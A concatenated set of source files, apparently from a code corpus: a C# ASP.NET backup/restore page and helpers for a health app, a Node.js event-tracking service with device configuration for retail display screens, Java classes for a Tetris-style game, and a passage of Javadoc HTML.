public partial class BackupRestore : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (!Page.IsPostBack)
{
var backupList = BackupManager.GetAvailableBackups();
this.dtGridView.DataSource = backupList;
this.dtGridView.DataBind();
this.btnBackup.Text = Resources.BackupRestore_CreateBackup;
if (Global.ModoMantenimiento)
{
this.lblCorruptedDatabase.Visible = true;
var affectedEntities = (IEnumerable<string>)HttpContext.Current.Application["EstadoBaseDatos"];
foreach (var affectedEntity in affectedEntities)
{
var newListItem = new TagBuilder("li");
newListItem.SetInnerText(affectedEntity);
this.lblAffectedEntities.InnerHtml += newListItem.ToString();
}
}
}
}
protected void dtGridView_SelectedIndexChanged(object sender, EventArgs e)
{
var gridView = ((System.Web.UI.WebControls.GridView) sender);
var backupPath = gridView.SelectedRow.Cells[1].Text;
var restored = BackupManager.Restore(backupPath);
if (restored)
{
//Cierro la sesión del usuario borrando el ticket de autenticación
FormsAuthentication.SignOut();
Response.Redirect(FormsAuthentication.LoginUrl);
}
this.lblAffectedEntities.InnerText = "Falló al restaurar el backup";
}
protected void btnBackup_OnClick(object sender, EventArgs e)
{
var backupName = (string)this.Request.Form["txtBackupName"];
var result = BackupManager.Backup(backupName);
this.ReloadCurrentPage();
}
private void ReloadCurrentPage()
{
Response.Redirect(Request.RawUrl);
}
}
}<file_sep>using System;
namespace SaludArTE.Entities.RedundancyCheck
{
public class VerticalCheckDigit
{
public string EntityName { get; set; }
public byte[] Checksum { get; set; }
}
}
<file_sep>using System;
using System.Linq;
using System.Security.Claims;
using System.Web;
using System.Web.Mvc;
using System.Web.Routing;
using System.Web.Security;
using System.Web.Http;
using SaludArTE.Data.RedundancyCheck;
using SaludArTE.IoC;
using SaludArTE.Models.Infrastructure;
using SaludArTE.Models.Repositories;
using WebApi.StructureMap;
namespace SaludArTE
{
public class Global : HttpApplication
{
protected void Application_Start(object sender, EventArgs e)
{
// Code that runs on application startup
AreaRegistration.RegisterAllAreas();
GlobalConfiguration.Configure(WebApiConfig.Register);
GlobalConfiguration.Configuration.UseStructureMap(GlobalContainer.DefaultInstance.GetStructureMapContainer());
RouteConfig.RegisterRoutes(RouteTable.Routes);
}
protected void Application_BeginRequest(object sender, EventArgs e)
{
HttpContext.Current.Items["structuremap-container"] = GlobalContainer.DefaultInstance.GetNestedContainer();
}
protected void Application_EndRequest(object sender, EventArgs e)
{
var containerPerRequest = (HttpContext.Current.Items["structuremap-container"] as IDisposable);
if (containerPerRequest != null)
containerPerRequest.Dispose();
}
protected void FormsAuthentication_OnAuthenticate(Object sender, FormsAuthenticationEventArgs e)
{
if (FormsAuthentication.CookiesSupported == true)
{
if (Request.Cookies[FormsAuthentication.FormsCookieName] != null)
{
//let us take out the username now
var encryptedTicketCookie = Request.Cookies[FormsAuthentication.FormsCookieName].Value;
var username = FormsAuthentication.Decrypt(encryptedTicketCookie).Name;
////let us extract the roles from our own custom cookie
var usersRepository = CurrentContainer.GetInstance<IUsersRepository>();
var user = usersRepository.Get(username);
////Let us set the Pricipal with our user specific details
var genericIdentity = new System.Security.Principal.GenericIdentity(user.Username, "Forms");
genericIdentity.AddClaim(new Claim(ClaimTypes.GivenName, user.GivenName));
genericIdentity.AddClaim(new Claim(ClaimTypes.Sid, user.Id.ToString()));
e.User = new ApplicationPrincipal(genericIdentity, user.Roles.ToArray());
}
}
}
public static bool ModoMantenimiento
{
get { return ((bool?) HttpContext.Current.Application["EstaEnMantenimiento"]).GetValueOrDefault(); }
set { HttpContext.Current.Application["EstaEnMantenimiento"] = value; }
}
public static void ComprobarIntegridadBaseDeDatos()
{
//TODO: Esto es costoso así que sería mejor cachearlo e monitorearlo solo pasado cierto tiempo y no en cada login
try
{
CurrentUnitOfWorkHelper.CheckDatabaseIntegrity();
ModoMantenimiento = false;
}
catch (DatabaseCorruptedException ex)
{
ModoMantenimiento = true;
HttpContext.Current.Application["EstadoBaseDatos"] = ex.AffectedEntities;
}
}
public static IContainer CurrentContainer
{
get { return (IContainer)HttpContext.Current.Items["structuremap-container"]; }
}
public static Data.IUnitOfWorkHelper CurrentUnitOfWorkHelper
{
get{ return CurrentContainer.GetInstance<Data.IUnitOfWorkHelper>(); }
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
namespace SaludArTE.Models.Repositories
{
public interface ILogEntriesRepository
{
IEnumerable<LogEntry> GetAll();
LogEntry Get(Guid id);
void Update(LogEntry entry);
}
public class LogEntriesRepository : ILogEntriesRepository
{
private readonly List<LogEntry> _logEntries = new List<LogEntry>();
public LogEntriesRepository()
{
_logEntries.Add(new LogEntry
{
Id = Guid.NewGuid(),
Date = new DateTime(2017, 10, 18, 17, 52, 0),
Username = "mromero",
Description = "Intento de inicio de sesión fallido. Motivo: Contraseña Incorrecta"
});
_logEntries.Add(new LogEntry
{
Id = Guid.NewGuid(),
Date = new DateTime(2017, 10, 17, 13, 00, 00),
Username = "mromero",
Description = "El usuario cerró la sesión"
});
_logEntries.Add(new LogEntry
{
Id = Guid.NewGuid(),
Date = new DateTime(2017, 10, 17, 12, 30, 58),
Username = "mromero",
Description = "El usuario inició sesión correctamente"
});
}
public IEnumerable<LogEntry> GetAll()
{
//Fake Sort
return _logEntries.OrderByDescending(l => l.Date);
}
public LogEntry Get(Guid id)
{
var entry = _logEntries.Find(l => l.Id.Equals(id));
return entry;
}
public void Update(LogEntry entry)
{
if (entry.Id.Equals(Guid.Empty))
{
entry.Id = Guid.NewGuid();
_logEntries.Add(entry);
}
else //Ya existe, actualizo los datos nomás
{
var existingEntry = _logEntries.FirstOrDefault(l => l.Id.Equals(entry.Id));
var currentIndex = _logEntries.IndexOf(existingEntry);
_logEntries[currentIndex] = entry;
}
}
}
}<file_sep>using System;
using System.Linq;
using System.Security.Claims;
using System.Security.Principal;
namespace SaludArTE.Models.Infrastructure
{
/// <summary>
/// Modela el usuario autenticado en la aplicación
/// </summary>
public class ApplicationPrincipal : GenericPrincipal
{
public ApplicationPrincipal(IIdentity identity, string[] roles)
: base(identity, roles)
{
}
public Guid Sid
{
get { return Guid.Parse(this.FindFirst(c => c.Type == ClaimTypes.Sid).Value); }
}
public string GivenName
{
get { return this.FindFirst(c => c.Type == ClaimTypes.GivenName).Value; }
}
}
}<file_sep>using Newtonsoft.Json;
using System;
namespace SaludArTE.Models
{
public class Appointment
{
[JsonProperty(PropertyName = "id")]
public string Id { get; set; }
[JsonProperty(PropertyName = "title")]
public string Title { get; set; }
[JsonProperty(PropertyName = "start")]
public DateTime Start { get; set; }
[JsonProperty(PropertyName = "end")]
public DateTime? End { get; set; }
[JsonProperty(PropertyName = "url")]
public string Url { get; set; }
[JsonIgnore]
public Guid PatientId { get; set; }
[JsonIgnore]
public string PatientName { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Linq;
using System.Text;
using SaludArTE.Entities.RedundancyCheck;
namespace SaludArTE.Data.RedundancyCheck
{
public class RedundancyCheckAnalyzer : IRedundancyCheckAnalyzer
{
private Hash _hash = new Hash();
public bool IsValid(IEntityWithRedundancyCheck entity)
{
var calculatedHash = this.CalculateHashForEntity(entity);
var currentHash = entity.CRC ?? new byte[0];
return calculatedHash.SequenceEqual(currentHash);
}
public byte[] CalculateHashFromMultipleCRCs(IEnumerable<byte[]> crcs)
{
return _hash.CreateHash(crcs);
}
public byte[] CalculateHashForEntity(IEntityWithRedundancyCheck entity)
{
var seed = new StringBuilder();
var entityType = entity.GetType();
foreach (PropertyDescriptor propertyDescriptor in TypeDescriptor.GetProperties(entityType))
{
var fieldMarkedForRc = propertyDescriptor.Attributes
.OfType<FieldMarkedForRedundancyAttribute>()
.FirstOrDefault();
if (fieldMarkedForRc != null)
{
//TODO: Verificar el orden del armado de la semilla
var propertyValueSerialized = Convert.ToString(propertyDescriptor.GetValue(entity) ?? string.Empty);
seed.Append(propertyValueSerialized);
}
}
return _hash.CreateHash(seed.ToString());
}
}
}
| 85730f96789f5c64702c3214e73e0be6a0056398 | [
"Markdown",
"C#"
] | 45 | C# | matias-romero/uai-lppa-tp | fecd5d9f9bb7b49ba62e513d60261aaa4dc5e8dd | 2e73937c95ab145de4e94a5e7fdefdb1c2e9a7ed |
refs/heads/master | <file_sep>'use strict';
const Service = require('egg').Service;
const _ = require('lodash');
const { project: EVENT_PR, equipment: EQ_CONf } = require('../../config/event.config');
let full_event = {};
_.map(Object.values(EVENT_PR), el => {
full_event = { ...full_event, ...el.event };
});
class DcService extends Service {
async find(query = {}, type = 'equipment') {
const { ctx } = this;
const origin = await ctx.model.Dc.find(query);
if (type === 'project') {
return this._classifyByProject(origin);
} else if (type === 'event') {
return this._classifyByEvent(origin);
}
return this._classifyByEquipment(origin);
}
/**
* 将数据根据项目归类
* @param {Array} data 数据库原始数据
* @return {Object} 归类后的对象
* @author Ocean.Yu
*/
_classifyByProject(data = []) {
const hash = {};
_.map(data, el => {
const { type, data } = el;
const [ project, event ] = type.split('@');
const config = EVENT_PR[project] || {};
const event_name = full_event[event] || 'Unknown';
hash[project] = hash[project] || { project, name: config.name || '???' };
hash[project][event] = hash[project][event] || { event, name: event_name, count: 0, data: [] };
hash[project][event].count++;
hash[project][event].data.push(data);
});
return hash;
}
/**
* 将数据根据设备归类
* @param {Array} data 数据库原始数据
* @return {Object} 归类后的对象
* @author Ocean.Yu
*/
_classifyByEquipment(data = []) {
const result = [];
const group = _.groupBy(data, 'data.attach.device_id');
for (const id in group) {
if (!EQ_CONf[id]) continue;
const device = { ...EQ_CONf[id] };
const taEvent = device.taEvent;
device.data = this._classifyByEvent(group[id]);
device.taEvent = device.data[taEvent] || { name: full_event[taEvent], count: 0 };
result.push(device);
}
return result.sort((a, b) => b.taEvent.count - a.taEvent.count);
}
/**
* 将数据根据事件归类
* @param {Array} data 数据库原始数据
* @return {Object} 归类后的对象
* @author Ocean.Yu
*/
_classifyByEvent(data = []) {
const hash = {};
_.map(data, el => {
const { type } = el;
const [ , event ] = type.split('@');
hash[event] = hash[event] || { event, name: full_event[event], count: 0 };
hash[event].count++;
});
return hash;
}
}
module.exports = DcService;
<file_sep>'use strict';
module.exports = {
project: {
common: {
name: '通用',
event: {
induction: '感应',
Scan: '扫码',
BaNfc: 'BA卡感应',
openList: '打开列表',
TP: '浏览时间',
Click: '点击',
Error: '错误',
},
},
'bplus-product-detail': {
name: '产品详情',
event: {
openProduct: '打开详情',
selectSku: '查看sku',
buyClick: '点击购买按钮',
},
},
'bplus-quadrant-shelf': {
name: '通用货架',
event: {
selectCommodity: '选择商品',
},
},
'bplus-mask': {
name: '面膜货架',
event: {
'switch-cd': '切换商品',
},
},
'bplus-perfumeTest': {
name: '香水测试',
event: {
start: '开始测试',
finished: '完成测试',
sendReport: '发送报告',
},
},
'perfume-h5': {
name: '香水H5',
event: {
reportEnter: '打开报告',
},
},
'new-makeup': {
name: '口红试妆',
event: {
startLipstickMakeup: '开始试妆',
SyncCollectPhone: '同步到手机',
balogin: 'BA登录',
applyMakeup: '试妆',
clickCollect: '收藏商品',
},
},
'makeup-collect': {
name: '试妆H5',
event: {
viewMakeupCollect: '打开手机收藏',
},
},
'bplus-jewelry': {
name: '首饰货架',
event: {
goTopic: '查看品牌',
},
},
'bplus-guide': {
name: '导览屏',
event: {
clickErea: '查看区域',
},
},
'bplus-batool': {
name: 'BA工具',
event: {
login: '登录',
recommend: '推荐商品',
syncToMobile: '同步到手机',
},
},
'bplus-skintest': {
name: '肌肤测试',
event: {
saveRecord: '提交问卷',
finished: '完成报告',
},
},
},
equipment: {
'6155a65a8d59af13d4b30f73': {
name: '导览屏-右',
account: 'csgjguide-right',
area: '导览',
taEvent: 'Click',
},
'6155a64a8d59af13d4b30f72': {
name: '导览屏-左',
account: 'csgjguide-left',
area: '导览',
taEvent: 'Click',
},
'6155a63f8d59af13d4b30f71': {
name: '导览屏-上',
account: 'csgjguide-top',
area: '导览',
taEvent: 'Click',
},
'61529926af52ff4e480c734f': {
name: '导览屏-下',
account: 'csgjguide-bottom',
area: '导览',
taEvent: 'Click',
},
'6152923537000d629f38881a': {
name: '试妆-1',
account: 'csgjmakeup1',
area: '口红墙',
taEvent: 'applyMakeup',
},
'6151999a9cfa660acc9cf524': {
name: '试妆-2',
account: 'csgjmakeup2',
area: '口红墙',
taEvent: 'applyMakeup',
},
'61529926af52ff4e480c7333': {
name: '口红货架-1',
account: 'csgjlipstick1',
area: '口红墙',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c7334': {
name: '口红货架-2',
account: '<KEY>',
area: '口红墙',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c7335': {
name: '口红货架-3',
account: 'csgjlipstick3',
area: '口红墙',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c7336': {
name: '口红货架-4',
account: 'csgjlipstick4',
area: '口红墙',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c733e': {
name: '眼影货架-1',
account: 'csgjeyeshadow1',
area: '玩色区',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c733f': {
name: '眼影货架-2',
account: 'csgjeyeshadow2',
area: '玩色区',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c7340': {
name: '眼影货架-3',
account: 'csgjeyeshadow3',
area: '玩色区',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c7341': {
name: '腮红货架-1',
account: 'csgjblusher1',
area: '玩色区',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c7342': {
name: '眼线货架-1',
account: 'csgjeyeliner1',
area: '玩色区',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c7344': {
name: '睫毛膏货架-1',
account: 'csgjmascara1',
area: '玩色区',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c7343': {
name: '眉笔货架-1',
account: 'csgjeyebrow1',
area: '玩色区',
taEvent: 'selectCommodity',
},
'6143458b808831bf41d78af3': {
name: '肌肤测试-1',
account: 'csgjskintest1',
area: '测肤',
taEvent: 'Scan',
},
'614345b0808831bf41d78af4': {
name: '肌肤测试-2',
account: 'csgjskintest2',
area: '测肤',
taEvent: 'Scan',
},
'615000c7b79f073520c29fe4': {
name: '首饰货架-1',
account: 'csgjjewelry1',
area: '首饰',
taEvent: 'Click',
},
'615000c7b79f073520c29fe5': {
name: '首饰货架-2',
account: 'csgjjewelry2',
area: '首饰',
taEvent: 'Click',
},
'61500471b79f073520c29fe9': {
name: '首饰货架-3',
account: 'csgjjewelry3',
area: '首饰',
taEvent: 'Click',
},
'61529926af52ff4e480c7337': {
name: '粉底&气垫货架-1',
account: 'csgjfoundation1',
area: '底子区',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c7338': {
name: '粉底&气垫货架-2',
account: 'csgjfoundation2',
area: '底子区',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c7339': {
name: '粉底&气垫货架-3',
account: 'csgjfoundation3',
area: '底子区',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c733a': {
name: '粉底&气垫货架-4',
account: 'csgjfoundation4',
area: '底子区',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c733c': {
name: '遮瑕货架-1',
account: 'csgjconcealer1',
area: '底子区',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c733d': {
name: '定妆货架-1',
account: 'csgjbase1',
area: '底子区',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c733b': {
name: '高光货架-1',
account: 'csgjhighlight1',
area: '底子区',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c7332': {
name: '美发货架-1',
account: 'csgjhair1',
area: '个护区',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c7331': {
name: '身体货架-1',
account: 'csgjbody1',
area: '个护区',
taEvent: 'selectCommodity',
},
'6142e15937000d629fccbe37': {
name: '面膜货架-1',
account: 'csgjmask1',
area: '个护区',
taEvent: 'Click',
},
'61529926af52ff4e480c732e': {
name: '香水-1',
account: 'csgjperfume1',
area: '香水区',
taEvent: 'Scan',
},
'61529926af52ff4e480c732f': {
name: '香水-2',
account: 'csgjperfume2',
area: '香水区',
taEvent: 'Scan',
},
'61529926af52ff4e480c7345': {
name: '成分货架-1',
account: 'csgjelement1',
area: '成分区',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c7346': {
name: '成分货架-2',
account: 'csgjelement2',
area: '成分区',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c7347': {
name: '成分-3',
account: 'csgjelement3',
area: '成分区',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c7348': {
name: '成分货架-4',
account: 'csgjelement4',
area: '成分区',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c7349': {
name: '成分货架-5',
account: 'csgjelement5',
area: '成分区',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c734a': {
name: '高化货架-1',
account: 'csgjskincare1',
area: '护肤步骤',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c734b': {
name: '高化货架-2',
account: 'csgjskincare2',
area: '护肤步骤',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c734c': {
name: '高化货架-3',
account: 'csgjskincare3',
area: '护肤步骤',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c734d': {
name: '高化货架-4',
account: 'csgjskincare4',
area: '护肤步骤',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c734e': {
name: '敏感货架-1',
account: 'csgjsensitive1',
area: '敏感区',
taEvent: 'selectCommodity',
},
'61529926af52ff4e480c7330': {
name: '男士货架-1',
account: 'csgjmale1',
area: '男士区',
taEvent: 'selectCommodity',
},
},
};
<file_sep>'use strict';
const Controller = require('egg').Controller;
const dayjs = require('dayjs');
const utc = require('dayjs/plugin/utc');
dayjs.extend(utc);
class DcController extends Controller {
async queryToday() {
const { ctx } = this;
const now = dayjs();
const stDate = now.startOf('date').utcOffset(8);
const enDate = now.endOf('date').utcOffset(8);
const result = await ctx.service.dc.find({
type: /@/,
createdDate: { $gte: stDate, $lte: enDate },
});
ctx.body = {
result,
};
}
}
module.exports = DcController;
| 98a401c58f8d23170c5627be3d8ebc23d1fd146a | [
"JavaScript"
] | 3 | JavaScript | Cheese-Yu/egg-vue3-vite-template | d207c61428e84d07fd8721ecb0004ef18e7729ad | dd2e5ef10bf91e1977f483921341929c46f79bdb |
refs/heads/master | <file_sep>
package com.laughingmasq.tetrayoo.game;
import com.laughingmasq.tetrayoo.game.tetrimino.Tetrimino;
/**
* Class that works as a collection of collision detection methods.
* @author schme
*/
public class Collision {
public Collision() {}
/**
* #isFree
* If the coordinate in given gridMap is free.
* @param gridMap
* @param x
* @param y
* @return True if null, false if not
*/
private boolean isFree(TType[][] gridMap, int x, int y) {
if( !inBounds(gridMap.length, gridMap[0].length, x, y)) {
return false;
}
return (gridMap[x][y] == null);
}
/**
* If the block under given coordinate is free.
* Used a lot for determining if a block can fall.
* @param gridMap
* @param x
* @param y
* @return True if y+1 coordinate is null, false if not
*/
private boolean blockBelowIsFree(TType[][] gridMap, int x, int y) {
if( (y+1 >= gridMap[x].length) ||
(!isFree(gridMap, x, y+1)))
{
return false;
}
return true;
}
/*
* If given coordinate is in the bounds of given grid dimensions.
* @param gridWidth
* @param gridHeight
* @param x
* @param y
* @return True if inside boundaries, false if not
*/
private boolean inBounds(int gridWidth, int gridHeight, int x, int y) {
if( x < 0 || x >= gridWidth ||
y < 0 || y >= gridHeight )
{
return false;
}
return true;
}
/**
* If the rightmost block of a coordinate is null.
* @param gridMap
* @param x
* @param y
* @return True, False
* @see isFree
*/
private boolean blockRightIsFree(TType[][] gridMap, int x, int y) {
if( inBounds( gridMap.length, gridMap[0].length, x+1, y)) {
return isFree(gridMap, x+1, y);
}
return false;
}
/**
* If the leftmost block of a coordinate is null.
* @param gridMap
* @param x
* @param y
* @return True, False
* @see isFree
*/
private boolean blockLeftIsFree(TType[][] gridMap, int x, int y) {
if( inBounds( gridMap.length, gridMap[0].length, x-1, y)) {
return (gridMap[x-1][y] == null) ? true : false;
}
return false;
}
/**
* If the tetrimino can fall. For every bottom collision point it checks
* if the block below is free.
* @param gridMap
* @param t
* @return True, False
*/
public boolean canFall(TType[][] gridMap, Tetrimino t) {
if( t == null) { return false; }
for( int[] coord : t.getFallCollisionPoints()) {
if(!blockBelowIsFree(gridMap, coord[0], coord[1])) {
return false;
}
}
return true;
}
/**
* If the tetrimino can move right. For every rightmost collision point it
* checks if the block on its right side is free.
* @param gridMap
* @param t
* @return True, False
*/
public boolean canMoveRight(TType[][] gridMap, Tetrimino t) {
for( int[] coord : t.getRightCollisionPoints()) {
if(!blockRightIsFree(gridMap, coord[0], coord[1])) {
return false;
}
}
return true;
}
/**
* If the tetrimino can move left. For every leftmost collision point it
* checks if the block on its left side is free.
* @param gridMap
* @param t
* @return True, False
*/
public boolean canMoveLeft(TType[][] gridMap, Tetrimino t) {
for( int[] coord : t.getLeftCollisionPoints()) {
if(!blockLeftIsFree(gridMap, coord[0], coord[1])) {
return false;
}
}
return true;
}
}<file_sep>package com.laughingmasq.tetrayoo.themes;
import com.laughingmasq.tetrayoo.game.TType;
import java.awt.Color;
/**
* Interface that defines a theme usable by Gui -class.
* @author schme
*/
public interface Theme {
/**
* getBackgroundColor()
* Normally only asked once in the beginning. Changing colours have to be
* implemented in Gui.
* @return java.awt.Color for the background
*/
public Color getBackgroundColor();
/**
* A mapping function for different tetrimino.
* Usually invokes a Map from the Theme class.
* @param tetrimino
* @return java.awt.Color for which the tetrimino will be drawn with
*/
public Color getTetriminoColor( TType tetrimino);
}
<file_sep>
package com.laughingmasq.tetrayoo.game;
/**
* Abstract gravity.
* A class whose only function is to handle the situation after a row is destroyed.
* For example the classic way, or a more natural one where a blocks falls
* if there's an empty space below it.
* @author schme
*/
abstract public class Gravity {
Grid grid;
public Gravity(Grid grid) {
this.grid = grid;
}
/**
* Method called after a row has been destroyed.
* This aligns the blocks on the grid according the implementation set by
* inheriting class.
* @param row The row destroyed
*/
abstract public void dropAfterRowDestroyed(int row);
}
<file_sep><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (version 1.7.0_09) on Sat Jan 12 21:46:16 EET 2013 -->
<meta http-equiv="Content-Type" content="text/html" charset="UTF-8">
<title>Grid (Tetrayoo 0.11 API)</title>
<meta name="date" content="2013-01-12">
<link rel="stylesheet" type="text/css" href="../../../../stylesheet.css" title="Style">
</head>
<body>
<script type="text/javascript"><!--
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="Grid (Tetrayoo 0.11 API)";
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar_top">
<!-- -->
</a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="class-use/Grid.html">Use</a></li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../index-all.html">Index</a></li>
<li><a href="../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../com/laughingmasq/tetrayoo/game/Gravity.html" title="class in com.laughingmasq.tetrayoo.game"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../../com/laughingmasq/tetrayoo/game/TType.html" title="enum in com.laughingmasq.tetrayoo.game"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../index.html?com/laughingmasq/tetrayoo/game/Grid.html" target="_top">Frames</a></li>
<li><a href="Grid.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li>Field | </li>
<li><a href="#constructor_summary">Constr</a> | </li>
<li><a href="#method_summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li><a href="#constructor_detail">Constr</a> | </li>
<li><a href="#method_detail">Method</a></li>
</ul>
</div>
<a name="skip-navbar_top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<!-- ======== START OF CLASS DATA ======== -->
<div class="header">
<div class="subTitle">com.laughingmasq.tetrayoo.game</div>
<h2 title="Class Grid" class="title">Class Grid</h2>
</div>
<div class="contentContainer">
<ul class="inheritance">
<li><a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">java.lang.Object</a></li>
<li>
<ul class="inheritance">
<li>com.laughingmasq.tetrayoo.game.Grid</li>
</ul>
</li>
</ul>
<div class="description">
<ul class="blockList">
<li class="blockList">
<dl>
<dt>Direct Known Subclasses:</dt>
<dd><a href="../../../../com/laughingmasq/tetrayoo/game/ClassicGrid.html" title="class in com.laughingmasq.tetrayoo.game">ClassicGrid</a></dd>
</dl>
<hr>
<br>
<pre>public abstract class <span class="strong">Grid</span>
extends <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">Object</a></pre>
<div class="block">Abstract grid for defining what a grid is expected to do and what not.
This class is an attempt for an interface (with some predefined implementation)
For most cases the inheriting class should be possible to be used through this
superclass.<p>
Grids are assumed to be 2D and quadrilateral. Creating other kinds of grids
might be possible either by combining more than one grid or by intensive
overloading, but it's probably more convenient to use another grid and its own
interface.</div>
<dl><dt><span class="strong">Author:</span></dt>
<dd>schme</dd></dl>
</li>
</ul>
</div>
<div class="summary">
<ul class="blockList">
<li class="blockList">
<!-- ======== CONSTRUCTOR SUMMARY ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor_summary">
<!-- -->
</a>
<h3>Constructor Summary</h3>
<table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Constructor Summary table, listing constructors, and an explanation">
<caption><span>Constructors</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colOne" scope="col">Constructor and Description</th>
</tr>
<tr class="altColor">
<td class="colOne"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#Grid()">Grid</a></strong>()</code> </td>
</tr>
</table>
</li>
</ul>
<!-- ========== METHOD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="method_summary">
<!-- -->
</a>
<h3>Method Summary</h3>
<table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation">
<caption><span>Methods</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Method and Description</th>
</tr>
<tr class="altColor">
<td class="colFirst"><code>abstract void</code></td>
<td class="colLast"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#clearBlock(int, int)">clearBlock</a></strong>(int x,
int y)</code>
<div class="block">Clears a block at given coordinates.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>abstract void</code></td>
<td class="colLast"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#clearGridMap()">clearGridMap</a></strong>()</code>
<div class="block">Sets all the blocks in a gridMap to empty.</div>
</td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>abstract int</code></td>
<td class="colLast"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#destroyFullRows()">destroyFullRows</a></strong>()</code>
<div class="block">If the grid has full rows, should destroy them and drop remaining blocks
accordingly.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>abstract <a href="../../../../com/laughingmasq/tetrayoo/game/tetrimino/Tetrimino.html" title="class in com.laughingmasq.tetrayoo.game.tetrimino">Tetrimino</a></code></td>
<td class="colLast"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#getActive()">getActive</a></strong>()</code>
<div class="block">Returns the current active tetrimino.</div>
</td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>abstract <a href="../../../../com/laughingmasq/tetrayoo/game/TType.html" title="enum in com.laughingmasq.tetrayoo.game">TType</a>[][]</code></td>
<td class="colLast"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#getDrawableBlockMap()">getDrawableBlockMap</a></strong>()</code>
<div class="block">Gets the area of the gridMap that should be drawn.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>int</code></td>
<td class="colLast"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#getDrawingHeight()">getDrawingHeight</a></strong>()</code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>int</code></td>
<td class="colLast"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#getDrawingWidth()">getDrawingWidth</a></strong>()</code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code><a href="../../../../com/laughingmasq/tetrayoo/game/TType.html" title="enum in com.laughingmasq.tetrayoo.game">TType</a>[][]</code></td>
<td class="colLast"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#getGridMap()">getGridMap</a></strong>()</code>
<div class="block">For convenience the grid returns a reference to its gridMap.</div>
</td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>int</code></td>
<td class="colLast"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#getHeight()">getHeight</a></strong>()</code> </td>
</tr>
<tr class="rowColor">
